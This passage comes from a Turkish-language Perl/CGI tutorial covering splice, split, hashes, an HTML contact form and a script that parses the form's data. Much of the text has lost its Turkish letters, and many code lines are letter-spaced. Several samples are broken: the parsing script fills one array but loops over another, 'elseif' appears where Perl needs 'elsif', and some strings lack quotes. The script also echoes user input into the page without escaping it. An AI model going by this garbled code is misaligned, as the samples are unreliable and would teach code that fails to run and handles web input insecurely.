0, 1, 2, 3, 4, Ev, 6, 7, 8, 9
Listeden bir ey atmadan da listeye ek yapabiliriz:
@sayi l ar = ( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9) ;
spl i ce ( @sayi l ar , 5, 0, ( Ev ) ) ;
pr i nt @sayi l ar ;
Ekrana u liste gelir:
0, 1, 2, 3, 4, Ev, 5, 6, 7, 8, 9
Burada, 5nci elemandan itibaren 0 eleman atp (yani kimseyi atmayp) bir deer
ekliyoruz. stersek, splice() fonksiyonu ile hi ek yapmadan istediimiz pozisyondan
istediimiz kadar eleman kartabiliriz:
@sayi l ar = ( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9) ;
spl i ce ( @sayi l ar , 5, 3, ( ) ) ;
pr i nt @sayi l ar ;
CGI / Perl 47
Ekrana u liste gelir:
0, 1, 2, 3, 4, 8, 9
Burada 5nci elemandan itibaren 3 eleman attmza ve yerine bo bir liste
koyduumuza (yani hi bir ey koymadmza) dikkat edin. Bu fonksiyonu bo liste
vermeden de (splice (@sayilar, 5, 3);) yazabiliriz.
splice ile listeden karttnz bir eleman, isterseniz bir baka tekil (Scalar)
deikene, birden fazla eleman bir baka bir dizi (Array) deikene yazabilirsiniz:
@sayi l ar = ( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9) ;
$ci kan_sayi = spl i ce ( @sayi l ar , 5, 1) ;
pr i nt $ci kan_sayi ;
Ekrana 5 says gelir. Birden fazla eleman kartyorsak, bunlar dizi deikende
tutmamz gerekir:
@sayi l ar = ( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9) ;
@ci kan_sayi = spl i ce ( @sayi l ar , 5, 3) ;
pr i nt @ci kan_sayi ;
Ekrana 5, 6, 7 dizisi gelir.
//////////////////kutu////////////////////
Kolay liste!
Perl, belki de rapor yazma dili olduu iin, liste oluturmada zel fonksiyonlara ve
kolaylklara sahiptir. rnein arpma ilemi (x), bir liste zerinde bir argmanla
uygulandnda, listenin ye saysn argman saysnca oaltr. rnein:
@l i st e = ( 1, 5) x 5;
deyimi, u sonucu verir:
( 1, 5, 1, 5, 1, 5, 1, 5, 1, 5, )
Perl, vereceiniz iki tam saynn arasn da artan diziyle doldurabilir. Bunun iin
yanyana iki nokta (..) kullanrz:
@di zi = ( 1. . 5)
CGI / Perl 48
Bu durumda dizi adl dizinin deeri yle olur: 1, 2, 3, 4, 5. Bu kolaylk sadece artan
bir dizi iin mmkndr; aeras doldurulacak rakamlardank nce, by sonra
yazlmaldr.
Perl ayn kolayl karakterler iin de salar:
@di zi = ( a . . h )
Listemiz u elemanlara sahip olur: a b, c, d, e, f, g, h
///////////////////////KUTU BTT/////////////////
split() fonksiyonu, Perln gerekten bir bilgi ekme ve rapor yazdrma dili
olduunu kantlayan fonksiyondur. Kelime anlam blmek, ayrmak olan split()
fonksiyonu aynen bu ii yapar: Scalar biimindeki Stringleri arzu ettiiniz yerden ayr
ettiiniz paralara bler. CGI ile Web sitesindeni Formdan birbirine eklenerek gelen veri
yuman hatrlyor musunuz: isim=Mustafa+Durcan&yas=23. split() fonksiyonu olmasa
idi, bu Stringi anahtar/deer iftlerine blmek gerekten zor olabilirdi. imdi ise tek satrlk
bir deyimle bunu yapabiliriz. split sadece byle bir Stringi blmeye yaramakla kalmaz,
fakat sabit diskteki bir dzyaz dosyasn okuyabilir; onun cmlelerini blebilir. Dzyaz
dosyas sekme veya virglle ayrt edilmi deerler ieren bir veritaban dosyas olabilir;
split ile byle bir veritabann okutabilir; iindeki deerleri Perl programmzda ve onun
yardmyla Web sayfamzda kullanabiliriz. Size bouna batan beri Perl iyi dildir,
demiyorum!
split iki ya da argman ile kullanlr:
1. Blme noktas (delimiter=snrlayc) olan karakter: blmenin balayaca ve
bitecei nokta.
2. Blnecek Stringi tutan deikenin ad
3. Blnerek elde edilecek listede bulunacak eleman says.
Blme noktasn iki bl iareti arasna yazarz. imdi bu argmanlarn nasl
kullanldn rneklerle grelim:
$ar kadas = Must af a Osman Vi l dan Kudr et ;
@ar kadasl ar = spl i t ( / / , $ar kadas) ;
Bu deyimleri irdeleyelim: Tekil-Scalar arkadas deikeninin deeri Mustafa Osman
Vildan Kudret eklinde. Bu deerin iindeki kelimeler aralk karakteri ile (bolukla)
ayrlm. split() fonksiyonu ile bu drt kelimeyi bamsz deerler haline getirmek ve drt
CGI / Perl 49
elemanl arkadaslar dizi deikenine (array) atamak mmkndr. split() fonksiyonundan
dnecek deerleri @arkadaslar deikenine eitlemekle bunu yapabiliriz. split()
fonksiyonunu yazarken blme noktas olarak boluklar semesini iki bl iaretinin arasna
boluk brakarak belirtiyoruz; iki argman virglle ayrlyor ve bu ilemin yaplaca
deikenin adn yazyoruz.
Bunu anlayp anlamadnz snamak iin size bir soru:
pr i nt $ar kadasl ar [ 1] ;
fonksiyonu ekrana hangi deeri yazdrr? pucu: Saymaya, 1den deil 0dan
balayn!
Diyelim ki Perle dosya okutmay rendik ve iindeki deerler sekme (Tab
karakteri) ile ayrlm drt deer bulunan bir satr seerek $kayit deikeninin iine
yazdrdk. (Merak etmeyin birazdan reneceiz Perle dosya okutmay ve okuduu
satrlardan uygun olann semeyi!) imdi istiyoruz ki, birbirinden sekme ile ayrlm bu drt
deer, $soyadi, $adi, $no ve $not deikenlerine atansn. Bunu split ile yle yapabiliriz:
( $soyadi , $adi , $no, $not ) = spl i t ( / \ t / , $kayi t ) ;
Bu dieyimi de irdeleyelim: birden fazla tekil-Scalar deikene ayan anda deer
atayabilmek iin split() fonksiyonunun ortaya drt deer kartacan bilmek zorundayz.
$kayit deikeninin ieriini biliyoruz; sekme ile ayrlm drt blmden oluan bir String-
dize ieriyor. split() fonksiyonuna blme noktas olarak bu kes sekme iaretini
kullanmasn bildiriyoruz. Sekme veya Tab karakteri, Perl ve dier programlama dilleri
asndan zel bir durum saylr; bu karakteri elde eetmek iin klavyede Tab tuuna
basamazsnz; bu tu ekrana Tab karakteri kartmaz, imlecinizi ilerletmeye karar. Ayn
ekilde Return veya Enter tuuna basarak ekrana yeni satr+satrba (LF+CR) karakteri
yazdramazsnz; imla alttaki satrn bana gider. Bu tr zel karakterleri Escape
Durumu denen ekilde gstermeniz gerekir. Perlde zel karakterlerin gsterilmesi iin
nne ters bl iareti koyarak, simgesi olan harfi yazarz. Sekme iaretinin simgesi t
harfidir; dolaysyla blme noktasn belirteceimiz iki bl iaretinin arasna ters-bl
iareti ile t harfini yazyoruz. Sonra ieriine blme ileminin uygulanaca deikenin
adn veriyoruz.
//////////////////////KUTU////////////////////////
zel Karakterlerin Escape Durumu
\a Zil veya bip sesi
CGI / Perl 50
\b Backspace (Geri)
\e Escape
\f Form Feed (Yeni sayfa)
\l zleyen karakteri kk harfe zorlar
\L zleyen btn karakterleri kk harfe zorlar
\n New Line (Yeni satr)
\r Carrie Return (Satr ba)
\t Tab (Sekme)
\u zleyen karakteri byk harfe zorlar
\U zleyen btn karakterleri kk harfe zorlar
\v Vertical Tab (Dikey sekme)
/////////////////////////////KUTU BTT//////////////////////
Bu iki rnekte, split() fonksiyonunun nc argmann kullanmadk. imdi bir
rnekle onu grelim. Diyelim ki yukardaki rnekte oluturduumuzu varsaydmz $kayit
deikenindeki drt deerden ilk ikisini $soyadi ve $adi deikenlerine alalm; fakat
rencinin numaras ile notunu bir arada nc bir deikene yazdralm. Yani splik
ilevinin sekmelere bakarak drde blecei Stringden drt deil bamsz String
kartalm. Bunu u deyimle salayabiliriz:
( $soyadi , $adi , $no_not ) = spl i t ( / \ t / , $kayi t , 3) ;
Burada, deiken ad verdiimize dikkat ediyorsunuz. split() fonksiyonunu da
yapaca blme ileminin sonunda drt deil, blm kartmaya zorluyoruz. Bunu,
blenecek deikenin adndan sonra koyduumuz 3 rakam salyor.
split() fonksiyonunu, URL ifrelenmi (URL Encoded) Form verilerinin deiken
ve deer olarak blnmesi bata olmak zere bir ok amala sk sk kullanacaz.
Hash! veya likili Diziler
Tekil-Scalar deikeni gznzde nasl canlandrrsnz? Bir kutu, iinde bir deer
olarak olarak deil mi? Kutunun zerindeki etikette, bu deerin ad yazl olabilir. Dizi ise
yanyana bir ok kutu olarak canlandrlabilir. Kutularn en banda bu dizinin ad, her bir
kutunun zerinde ise kutunun sra numaras bulunur. (0dan balayarak!)
CGI / Perl 51
mdi u tabloya bakn:
Para No Parann Ad
1234 32 MB RAM ip
2345 Soutma vantilatr
3456 Pentium II 400 MHz
4567 Pentium III 750 MHz
6789 Matrox Millenium AGP Ekran Kart
Bu bilgileri Perlde nasl deikenlere yazabilirsiniz? sterseniz 10 ayr tekil-Scalar
deiken oluturur herbirinin iine bu on ayn veriyi girebilirsiniz:
$ParcaNo01 = 1234
$ParcaAdi01 = 32 MB RAM ip
$ParcaNo02 = 2345
$ParcaAdi01 = Soutma Vantilatr
$ParcaNo03 = 3456
$ParcaAdi01 = Pentium II 400 MHz
......
Ya da bir dizi-array deiken yapp, btn verileri iine koyabiliriz:
@Par cal ar = ( 1234, 32 MB RAM ip, 2345, Soutma Vantilatr, 3456,
Pent i umI I 400 MHz . . . . ) ;
Fakat her durumda, rnein 1234 ile 32 MB RAM ip deerlerinin ilikisi kaybolur.
Yani ihtiya halinde 1234 numaral parann ad neydi acaba? derseniz, bu iki deiken
tr de size hazr, kolay bir cevap veremez. Birinci trde, yani on ayr tekil deiken
oluturduunuzda, hi bir deikenin dieriyle ilikisi olamaz. kinci trde, deikenlerin
sra numaralarndan yararlanarak bir ilikilendirme mmkndr. rnein $Parcalar[0] ile
$Parcalar[1] , 2 ile 3, 4 ile 5... ilikilendirilebilir: bunun iin birinciler ikincilerin endeksi
saylabilir. Fakat bu kolay bir i deil. Fakat dedik ki, Perl hi bir ey deilse, tam teekkll
bir liste programdr diye! te bunun bir sonucu olarak Perlde likilli Dizi (Associative
Array) veya deer yazmak ve armakta kullanlan Unix komutunun adyla Hash Listesi
diye bir zel deiken tr vardr. Bu deiken tr, adnn nne yzde (%) iareti
konarak belirtilir.
CGI / Perl 52
likili Dizilerde iki unsur bulunur: anahtar ve deer (key ve value). Her deerin bir
anahtar; her anahtarn bir deeri vardr. Anahtar/deer iftine Kayt denir. likili Dizi,
kaytlardan oluur. Bir ilikili Dizide ayn adda iki anahtar olamaz; fakat farkl anahtarlar
ayn deere sahip olabilir.
Her anahtarn bir deeri; her deerin bir anahtar vardr! dedik. Bu yzden rnein
telefon defterinizi likili Dizi olarak yazamazsnz; nk bir kiinin birden fazla telefonu
olabilir. Bunun gibi kstlamalar yznden likili Dizilerin snrl kullanm alan vardr. Fakat
Perl, greceimiz gibi baz fonksiyonlarn sonucu olarak karmza likili Dizi deiken
kartabilir; ayrca bu tr deiken iin kullanlmaya hazr bir ok fonksiyon vardr;
dolaysyla biz uzun-uzun kendi fonksiyonlarmz yazmak zorunda kalmayz.
imdi para listemizi likili Dizi olarak yazalm:
%Parcalar = (1234, 32 MB RAM ip, 2345. Soutma Vantilatr, 3456,
Pent i umI I 400 MHz . . . . ) ;
Yukardaki kod geri amacmza ulamamz salar; ama okumas, yazmas kolay bir
biimde deil. Perl 5 ile birlikte virgl (,) yerine, => operatrn kullanabilirsiniz.
rnein, ayn deiken u deyimle de oluturtulabilir:
%Par cal ar = ( 1234 => 32 MB RAM i p
2345 => Soutma Vantilatr
3456 => Pent i umI I 400 MHz
. . . .
6789 => Matrox Millenium AGP Ekran Kart
) ;
Peki, anahtar buradaki gibi tek kelime, hatta say deil de birden fazla kelime ierek
bir String ise ne yapabiliriz? Anahtar trmak iine alrz. te farkl bir para listesi likili
Dizi biiminde:
%Par cal ar = ( RAM i pl er i => 32 MB
Soutma vantilatrleri => Bronica
CPU i pi => Pent i umI I 400 MHz
. . . .
AGP Ekran Kart => Matrox Millenium
) ;
CGI / Perl 53
i bo, yani yeleri (anahtarlar ve anahtarlarn deerleri) atanmam likili Dizi
oluturulabilir:
%Yeni Par cal ar = ( ) ;
Perl, daha sonra iini dolduracanz bir dizi hazrlar ve bekler.
imdi bir likili Dizi deikeninin anahtarn kullanarak, deerini bulalm ve bunu
tekil/scalar deikene atayalm:
$alnacak_parca = $Paralar{6789};
veya
$alnacak_parca = $Paralar{AGP ekran Kart};
Burada birinci kodda $alinacak_parca deikeninin ierii Matarox Millenium AGP
Ekran Kart olurken, ikinci kodda Matrox Millenium olur.
imdi de likili Dizimizin bir anahtarnn deerini deitirelim. Bunun iin bir
anahtara deer vermemiz gerekir:
$Par cal ar {RAM i pl er i } = 64 MB;
(burada kullandmz parantezin ssl parantez olduuna dikkat edin!) Yukarda
iine 32 MB yazdmz RAM ipleri anahtarnn deerini 64 MB olarak deitirmi
olduk. Byle bir deyimle karlan Perl, nce Parcalar adl likizi Dizi iinde RAM ipleri
anahtar bulunup bulunmadna bakar; varsa deerini yeni verdiimiz String ile deitirir.
ilikili Dizide verdiimiz adda bir anahtar yoksa, bu anahtar oluturulur ve deer olarak
verdiimiz String atanr. Bu yntemle ii bo likili Dizide anahtar oluturabiliriz. Yukarda
oluturduumuz ii bo YeniParcalar likili Dizisine yer anahtar aalm ve iine bir deer
yazalm:
$Yeni Par cal ar {RAM i pl er i } = 128 MB;
Mevcut bir likili Dizinin anahtar/deer iftini (yani kaydn) tmyle silebiliriz;
bunun iin delete fonksiyonunu kullanrz. delete fonksiyonuna argman olarak silinecek
kaydn sadece anahtarn verirsiniz. yle:
del et e( $Par cal ar {RAM i pl er i }) ;
delete bir fonksiyondur; dolaysyla bir return deeri vardr; Perle bir deer verir.
Bu deer, sildiiniz anahtarn deeridir. sterseniz, bu deeri bir tekil/Scalar deikene
atayabilirsiniz. (Nasl?)
CGI / Perl 54
likili Dizilerin kendi kolaylklar vardr, demitik. delete bunlardan biridir; dieri ise
keys fonksiyonudur. keys fonksiyonu bir ilikili Dizinin btn anahtarlarnn listesini verir.
rnein:
@Par cal ar _anaht ar l ar = keys( %Par cal ar ) ;
deyimi ile Parcalar_anahtarlar adl bir dizi deiken (array) oluturuyoruz ve
Parcalar adl likili Dizinin btn anahtarlarn deer olarak atyoruz. Dikkat edin!
Anahtarlarn adlarn deer olarak atlyoruz; anahtarlarn deerlerini deil. Peki bu ne ie
yarar? Bir rnek u olabilir: Web sitemizdeki Formdan gelen bilgileri tutan likili Dizide
yer alan anahtarlar ve onlarn deerlerini kullanlr hale getirmek isteyebiliriz. Bunun
rneini ilerde greceiz. Fakat bir noktaya iaret edelim. likili Dizinin iindeki anahtarlar
alfabetik veya azalan-oalan bir srada tutulmaz; tesadf (random) bir sra ile tutulur.
Dolaysyla bu anahtarlarn adlarn yazdrdmz yeni dizi deikenin ierii de sral
olmayacaktr. Bu ilemi sort fonksiyonun geirerek yaparsak, yeni dizi deikenimizin
ierii sralanm olur:
@Par cal ar _anaht ar l ar = sor t ( keys( %Par cal ar ) ) ;
likili Diziyi kullanl hale getiren hazr fonksiyonlardan bir dieri ise anahtarlarn
deerlerini edinmemizi salayan values fonksiyonudur. Bu fonksiyon, bir likili Dizinin tm
deerlerini verir.
@Par cal ar _deger l er = val ues( %Par cal ar ) ;
deyimi ile Parcalar_degerler adl bir dizi deiken (array) oluturuyoruz ; bu kez
Parcalar adl likili Dizinin btn deerlerini deer olarak atyoruz. Burada dikkat
edilecek nokta, yeni dizi deikenimizin baz deerlerinin ayn olabileceidir. likili Dizide
her anahtar zgn olmaldr; anahtar adlar ayn olamaz, fakat farkl anahtarlar ayn deere
sahip olabilir, demitik. Dolaysyla values fonksiyonu ile oluturduumuz yeni dizi
deikende baz deerler ayn olabilir.
Anahtarlar gibi, likili Dizinin iindeki deerler de alfabetik veya azalan-oalan bir
srada tutuld tesadf (random) bir sra ile tutulduu iin yeni dizi deikenin ierii de
sral olmaz. Bu ilemi de sort fonksiyonundan geirebiliriz; yeni dizi deikenimizin ierii
sralanm olur:
@Par cal ar _deger l er = sor t ( val ues( %Par cal ar ) ) ;
Buraya kadar yine bir ok eyi bir arada rendik; durum biraz nefes almak ve bir
rnek yapmak iyi olur. imdi an Not Defterini (veya en beendiiniz dz yaz programn
ve sizinle birlikte basit bir form oluturalm. inde form olan HTML kodumuz yle olabilir:
CGI / Perl 55
<HTML>
<HEAD>
<meta http-equiv="content-type" content="text/html; charset=ISO-8859-9">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<meta http-equiv="Content-Language" content="tr">
<TITLE>Sizinle nasil temas kuralim</TITLE>
</HEAD>
<BODY>
<H1>Sizinle nasl temas kuralm?</H1>
<FORM NAME="temasform" ACTION="form_analiz.pl" METHOD="Post">
<P>Adnz: <INPUT TYPE="text" NAME="Adi" SIZE="37" maxlength="25"></P>
<P>Adresiniz: <INPUT TYPE="text" NAME="Adres" SIZE="37"></P>
<P>Posta Kodu: <INPUT TYPE="text" NAME="Kod" size="37" maxlength="5"></P>
<P>E-Posta: <INPUT TYPE="text" NAME="eposta" size="37"></P>
<P>Eitim: <INPUT TYPE="checkbox" NAME="ilkokul" value="ON">Ilk
<INPUT TYPE="checkbox" NAME="Orta" value="ON">Orta
<INPUT TYPE="checkbox" NAME="yuksek" value="ON">Yksek
<P>Merak Alan: <SELECT NAME="Merak" SIZE="1">
<OPTION SELECTED VALUE="Bir alan seiniz">Bir alan seiniz</OPTION>
<OPTION VALUE="Polisiye">Polisiye</OPTION>
<OPTION VALUE="Siir">iir</OPTION>
<OPTION VALUE="Tarih">Tarih</OPTION>
<OPTION VALUE="Siyaset">Siyaset</OPTION></SELECT>
<P>Bize iletmek istediiniz bir mesaj var m?</P>
<TEXTAREA ROWS="5" NAME="mesaj" cols="33">Mesajnz buraya yaznz:
</TEXTAREA>
<p><INPUT TYPE="submit" VALUE="Gnder" name="Gonder"> <INPUT TYPE="reset"
VALUE="Sil" name="Sil"></P>
</FORM>
CGI / Perl 56
</BODY>
</HTML>

Bu Formda kullandmz etiketleri tanyor ve bir Web tasarmcs olarak bu tr
Formlar sk sk tasarlyor olmalsnz. Bu kodu yazdktan sonra form.htm adyla kaydedin.
Bu ilkelere dayanan bir form yle olabilir:
<cgi-perl011.tif>
imdi Formun ACTION zelliinde ad geen Perl programn yazalm. Aadaki
kodu da Not Defteri gibi bir dz yaz programnda yazarak ve ACTIONda verdiiniz isimle
kaydedin:
#!/usr/local/bin/perl
#form_analiz.pl

if ($ENV{'REQUEST_METHOD'} eq 'GET') {
@girdiler = split(/&/, $ENV{'QUERY_STRING'});
} elsif ($ENV{'REQUEST_METHOD'} eq 'POST') {
read (STDIN, $depo, $ENV{'CONTENT_LENGTH'});
@girdi = split(/&/, $depo);
} else {
print "Content-type: text/html\n\n";
print "<P>Formda bir hata var!";
}
foreach $girdi (@girdiler) {
($anahtar, $deger) = split (/=/, $girdi);
$anahtar =~ tr/+/ /;
$deger =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$deger =~ tr/+/ /;
$deger =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$deger =~s/<!--(.|\n)*-->//g;
CGI / Perl 57
if ($formveri{$anahtar}) {
$formveri{$anahtar} .= ", $deger";
} else {
$formveri{$anahtar} = $deger;
}
}
print "Content-type: text/html\n\n";
print "<meta http-equiv=\"content-type\" content=\"text/html; charset=ISO-
8859-9\">\n";
print "<meta http-equiv=\"Content-Type\" content=\"text/html;
charset=windows-1254\">\n";
foreach $anahtar (sort keys(%formveri)) {
print "<P><B>$anahtar</B> alanna <B>$formveri{$anahtar} </B>deeri
girildi.";
}

imdi bu kodu irdeleyelim ve rendiklerimizi bu kodda belirleyelim, bilmediklerimizi
renelim.
Mantksal Snama: if..Then Deyimi
nce formun bandaki mantksal snama demiyi olan If ile yazlan blme dikkat
edin. Daha sonra dngleri ele alacaz; ama ksaca belirtelim: burada evre
(Environment) deikenlerimizden REQUEST_METHODun ieriine bakyoruz ve bu GET ise
evre deikenlerinden QUERY_STRINGi kullanyoruz; REQUEST_METHODun ierii POST
ise bu kez standart girdii veri kmesini (STDIN) kullanacaz. Fakat REQUEST_METHODun
ierii bosa, yani Formda METHOD zellii bo braklmsa, hi bir ey yapamayz! Bu
durumda Internet ziyaretimize bir hata mesaj yollayabiliriz: Formda hata var!
Perlde mantk yle alr: Eer filanca koul doru ise unu yap; deilse bunu
yap! Dolaysyla Perl asndan if snavnn bir argman olur: mantksal bir deer. Sz
gelimi, Say 1in deeri 5 ise, Say 2nin deeri 7 ise Perle u mantk snavn verirseniz:
CGI / Perl 58
Eer Say 1, Say 2den bykse, Say 1, Say 2den Byktr! yaz; Deilse
Say 2, Say 1den Byktr! yaz
Perl Say 2, Say 1den Byktr! yazar. (Saylarn eit olmasn nasl
snayacamza birazdan geleceiz.) imdi bunu Perln anlayaca deyim ekline evirelim:
$Sayi1 = 5;
$Sayi2 = 7;
if($sayi1 > $Sayi2) {
print Say 1, Say 2den byktr;
} else {
print Say 2, Say 1den byktr;
}

Perl, mantksal snamalar, sadece saylarla deil Stringlerle de yapabilir. Fakat bu
kez kullandmz karlatrma ilem iaretleri farkl olur.
////////////////////////////KUTU////////////////////////
Karlatrma Operatrleri
Karlatrma Matematik lemleri String lemleri
Eittir == eq
Eit deildir != ne
Kktr < lt
Byktr > gt
Kk veya eittir <= le
Byk veya eittir >= ge
/////////////////////////////////////////KUTU BTT//////////////////////
Bir karlatrmada, ileri srdmz iki koul da doru deilse, bir nc,
drdnc.. nnci koulu arayabiliriz. Bunu elseif deyimi ile yaparz. u senaryoyu
zihninizde canlandrn:
if(art1) { ilem1 }
CGI / Perl 59
elseif(art2) { ilem2 }
elseif(art3) { ilem3 }
elseif(art4) { ilem4 }
else(art5) { ilem5 }
Bu, Perl asndan srasyla u snamalarn yaplmas demek:
1. art 1 doru ise ilem 1i yap; deilse bir sonraki satra bak; ne komut grrsen
onu icra et!
2. art 2 doru ise ilem 2yi yap; deilse bir sonraki satra bak; ne komut grrsen
onu icra et!
3. art 3 doru ise ilem 3i yap; deilse bir sonraki satra bak; ne komut grrsen
onu icra et!
4. art 4 doru ise ilem 4i yap; deilse bir sonraki satra bak; ne komut grrsen
onu icra et!
5. art 5 doru ise ilem 5i yap; deilse bir sonraki satra bak; ne komut grrsen
onu icra et!
elseif deyimini kullandysak, elsee gerek kalmaz; ama programclk geleneine gre,
else daima kullanlr.
eer...deilse eklindeki mantk testlerinin bir dier tr deilse snav olabilir.
Yani Say2 5e eit deilse unu yap! gibi. Bunu unless karlatrma deyimi ile yazarz:
unl ess ( $ad eq Must af a7) {
print Senin adn Mustafa deil! }
unless deyimi yerine if deyimini not karlatrma operatryle birlikte kullanabiliriz:
i f ( not ( $ad eq Must af a ) ) {
print Senin adn Mustafa deil! }
imdi programmza dnelim ve bu rendiklerimizin nasl uygulandn grelim.
Programda evre deikenlerini tutan %ENV likili Dizi deikeni iindeki
REQUEST_METHOD anahtarnn deerinin GETe eit olup olmadn snyoruz. if deyimi ile
yaptmz snamann sonucu doru ise (yani REQUEST_METHOD anahtarnn deerinin
GETe eit ise) ilk komut-deyim bloku icra edilecektir. Bu blokta yaplacak i, evre
deikenlerinden QUERY_STRINGin iindeki Stringi split fonksyonu ile & iaretlerinden
CGI / Perl 60
blmlere ayrmaktr. Bu ilem sonucu ortaya kan bamsz Stringleri @girdi dizi
deiteninde (Array) toplayacaz.
Fakat ya yaptmz snama doru deilse, yani REQUEST_METHOD anahtarnn
deeri GETe eit deilse? Bu durumda iki ey olabilir: ya bu deer POSTa eittir; ya da
deildir. Peki, nce bu deerin POSTa eit olup olmadn snayalm. Bunu elseif ile
yapabiliriz. Bu snamann sonucu doru, yani REQUEST_METHOD anahtarnn deeri POSTa
eitse, bu kez STDINin ierii ile ilgileneceiz (ki bunu nasl yaptmz biraz sonra ele
alacaz). Peki, REQUEST_METHOD anahtarnn deeri POSTa da eit deilse? Bir Formun
METHOD zellii ya POST, ya da GET olur. Eer ikisi de deise, o zaman Formda hata var
demektir. Bunu sonuncu else deyimine brakyoruz; Browsera hata mesaj yolluyoruz.
Formu biz tasarladmza ve Form verilerini hangi yntemle gnderdiimizi
bildiimize gre Perl programmzn banda neden byle bir sorguya ihtiya var? Aslnda
yok! Fakat iyi bir programc gelenei, hi bir eyi ansa brakmamaktr; belki bizden sonra
i ortaklarnzdan veya alma arkadalarnzdan biri, veya kz kardeiniz sizin verdiiniz
gnderme yntemini beenmemi ve Formda deiiklik yapm olabilir! Yukardaki HTML
kodunu deitirmemek artyla, Perl programnn bu blmn yle yazabilirdik:
read (STDIN, $depo, $ENV{'CONTENT_LENGTH'});
@girdi = split(/&/, $depo);

Oku bakiim!
Tabi buradaki read() fonksiyonu dikkatinizi ekmi olmal. Neyi okuttuumuzu ve
nasl okuttuumuzu ele almadan nce bildiklerimizi bir tazeliyelim: CGI ile bulunduu Web
Server ve ona evsahiplii yapan iletim sisteminin ilikilerini gzden geirirken HTTP
Servern CGIa iki trl bilgi aktardndan sz etmitik. HTTP Server, Internetten GET
yoluyla bilgi alyorsa, bu bilgileri evre deikenlerinden QUERY_STRINGe depoluyor; POST
ile alrsa, standard girdi yntemini kullanarak, STDINin iine koyuyordu. Bu arada STDINin
yeni boyutu da evre deikenlerinden CONTENT_LENGTHin iine yazlyordu.
imdi, QUERY_STRING ile sizin oluturduunuz bir deikenin hi fark yoktur; fakat
standard girdi denilen bilgi tutma alan farkldr. Teknik ayrntlarna girmeden
belirtebileceimiz balca fark, STDINin ierii deiken gibi ilenmez; dolaysyla nce
STDINin ieriini bir deikene aktarmakta yarar var. STDIN, tpk bir dosya gibi
CGI / Perl 61
okunabilir; dolaysyla iindeki bilgileri aslnda daha sonra sabit diskten dosya okumakta
kullanacamz READ fonksiyonuyla okuyabiliriz. Bu fonksiyonun drt argman bulunabilir:
1. Okunacak dosya iin oluturacamz tutamak (Handle)
2. Okunacak eyin iine konaca deiken
3. Okunacak eyin uzunluu
4. Okunacak eyin balad konum, pozisyon
Derler ki, Perlde iki ey vardr: Tekil/Scalar deiken ve dosya tutama! Dier
herey bu iki geden trer! Dosya ama, okuma yazma bahsine ve dolaysyla tutaman
nemine daha sonra dneceiz; imdilik sadece unu bilmek yeterlidir: Perln aaca
dosya iin dosya adndan baka deiken adna ihtiyac vardr ve buna tutamak (Handle)
denir. Bunu, Perln bir dosyaya kendi iinde verdii zel bir isim olarak bakabilirsiniz.
Standard girdiler ise Perl (dier btn Unix programlama dilleri) iin alm dosya
demektir; alm ve bir tutamak verilmi zel bir dosya tr. Tutaman ad STDINdir ve
bizim sabit diskte bulunan ve okumak-yazmak iin aacamz bir dz yaz dosyas gibi
ilem grr. Bu zel dosya iindekileri de okurken, bir deikenin iine okumak gerekir;
read fonksiyonunun ikinci argman bunu salar. Perle okuyaca eyin boyutunu,
uzunlugunu sylemeniz gerekir; bu nc argman olarak yazlr. Drdnc ve verilmesi
zorunlu olmayan argman ise okumaya balanacak bytedr. read fonksiyonu sabit diskteki
binary dosyalar okumakta kullanld ve bu dosyalarn ierii sabit diskte byte lsyle
yazld iin, konumu byte olarak belirtiriz. Dosyalarmz genellikle batan okuttuumuz
iin bu argman genellikle 0 olur.
read fonksiyonunun ileyebilmesi iin okuduu eyi iine yazaca bir tekil/Scalar
deiken gstermemiz gerekir. Neden tekil/Scalar deiken de dizi deil? nk STDINin
iindeki herey, Formdan gelen bir Stringdir. Browsern Form verilerini yumak yapp
gnderdiini hatrlyor musunuz? Burada $depo adn verdii deiken, okunan STDIN
deerlerini tutacaktr.
Dosya okuma konusunda daha renebileceimiz ok ey var; STDINi okumak iin
bu kadar bilgi yeter; fakat unu belirtmek gerekir: Okumaya altmz dosyann boyutunu
tam olarak belirtmezsek, Perl bilgileri eksik alabilir veya dosyann bittii yeri geer ve
dosyaya ait olmayan eyleri de okuyabilir. Dolaysyla STDINin ierdii hereyi okutabilmek
iin okutacamz eyin uzunluunu evre deikenlerinden CONTENT_LENGTHden
reniyoruz. evre deikenleri Perl tarafndan %ENV adl zel bir likili Dizinin iinde
CGI / Perl 62
tutulur ve bu dizideki CONTENT_LENGTH anahtarnn deerini
$ENV{'CONTENT_LENGTH'} deyimi ile renebiliriz.
Peki, read (STDIN, $depo, $ENV{'CONTENT_LENGTH'}); deyimini irdelediimize
gre, imdi programmzn dier blmlerine bakabiliriz. Kodumuzun i yapan blmndeki
dier deyim yle:
@gi r di l er = spl i t ( / &/ , $depo) ;
split ilevini tanyoruz: bir deikenin ieriini alyor ve verdiimiz blme noktas
karakterinden blmlere ayryor. Burada $depo deikenin ierdii Stringi (ve anlamna
gelen) ampersand (&) iaretinden bldryoruz; elde edilecek bamsz Stringleri
@girdiler dizi-deikenine (Array) yazdryoruz. Browsern Form verisini nasl yumak
yaptn hatrlyor musunuz? (pucu: isim=Mustafa+Durcan&yas=23) Browser, Formdaki
her bir alann ad eittir (=) iaretiyle Formu tasarlayan veya dolduran kiinin verdii
deerle birletirip, sonra bunlar ampersand (&) iaretiyle birbirine balyordu.
Hatrlarsanz, bu arada boluklarn yerine art (+) iareti konuyor; ayrca zel karakterlerin
yerine de Heksadesimal deerleri yazlyordu.
$depo deikeni iindeki String, & iaretinden blmlere ayrlrsa, elimizde ne kalr?
unun gibi bir ey:
@girdiler[0]...adi=Mustafa+Durcan
@girdiler[1]...Adres=Web+Teknikleri%2C+Istanbul
@girdiler[2]...Gonder=G%F6nder
@girdiler[3]...Kod=34000
@girdiler[4]...Merak=Siir
@girdiler[5]...eposta= mdurcan@webteknikleri.com
@girdiler[6]...mesaj=Mutluluklar+dileriz
@girdiler[7]...yuksek=ON
Burada boluklarn yerine art (+) iareti konduuna ve mesela virgln yerine
heksadesimal deeri olan %2C, harfi yerine %F6 yazldna dikkat edin.
Dngler
Kodumuzu irdelemeye devam edersek, karmza kan deyimin bir dng ifadesi
